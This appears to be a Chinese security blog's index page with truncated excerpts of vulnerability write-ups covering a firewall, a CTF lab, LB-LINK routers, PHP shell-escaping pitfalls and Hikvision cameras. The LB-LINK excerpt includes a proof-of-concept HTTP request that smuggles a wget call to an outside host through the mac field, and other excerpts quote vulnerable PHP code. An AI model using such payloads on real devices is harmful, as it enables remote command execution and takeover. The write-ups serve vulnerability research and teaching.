原理网康防火墙HearBeat.php文件中将参数method赋值为delTestFile时,可触发文件删除操作,在data参数中指定需要删除的文件,由于删除文件的操作是通过系统命令完成的,导致命令注入漏洞。 public function deleteImage($params){//params传入一个字典 $basePath = '/var/www/html/'; $imgPath = $this->imagePath; $params = $params->data;//获取data中的文件路径 $cmd = "cd $imgPath \n /bin/rm -rf ";//命令主体 $existDefault=false; foreach ($params as $img){ if($img=='default.png'){ $existDefault=true; }
一、信息收集打开靶场,发现页面源码。if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR']; } if(!isset($_GET['host'])) { highlight_file(__FILE__); } else { $host = $_GET['host']; echo $host."<br />"; $host = escapeshellarg($host); echo $host."<br />"; $host = escapeshellcmd($host); echo $host."<br />"; $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']); echo 'you ar
原理LB-LINK BL-AC1900等都是中国必联(LB-LINK)公司的一款无线路由器。该漏洞源于通过/goform/set_LimitClient_cfg中的mac、time1和time2参数发现包含命令注入漏洞。影响范围LB-LINK BL-AC1900_2.0 v1.0.1版本、LB-LINK BL-WR9000 v2.4.9版本、LB-LINK BL-X26 v1.2.5版本、LB-LINK BL-LTE300 v1.0.8版本存在安全漏洞。危害远程攻击者可利用该漏洞执行任意命令,取得服务器控制权。POC & EXP手工POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin time1=00:00-00:00&time2=00:00-00:00&mac=;wget http://dnslog.cn;
漏洞简介本漏洞是由escapeshellarg()和escapeshellcmd()两个函数对同一个需要过滤的shell命令字符串依次进行转义导致的参数逃逸问题,可以执行主命令的其他选修参数。escapeshellarg()与escapeshellcmd()escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入shell函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含 exec(), system() 执行运算符 。127.0.0.1' -d -v test =>'127.0.0.1'\'' -v -d a=1'escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。反斜线(\)会在以下字符之前插入: \`|*?~<>^()[]{}$\, \x0A 和 \xFF。 ' 和 " 仅在不配
原理由于摄像头对传入的字符串未做进一步确认,导致恶意的命令被注入到正常命令中。参考文章:https://kms.app/archives/399/影响范围DS-2CD2xx2F-I Series V5.2.0 build 140721 to V5.4.0 Build 160530DS-2CD2xx0F-I Series V5.2.0 build 140721 to V5.4.0 Build 160401DS-2CD2xx2FWD Series V5.3.1 build 150410 to V5.4.4 Build 161125DS-2CD4x2xFWD Series V5.2.0 build 140721 to V5.4.0 Build 160414DS-2CD4xx5 Series V5.2.0 build 140721 to V5.4.0 Build 160421DS-2DFx Series V5.2.0 build 140805 to V5.4.5 Build 160928DS-2CD63xx Series V5.0.9 build 140305 to V5.3.5 Build
Equinox
一个乐于分享的网安人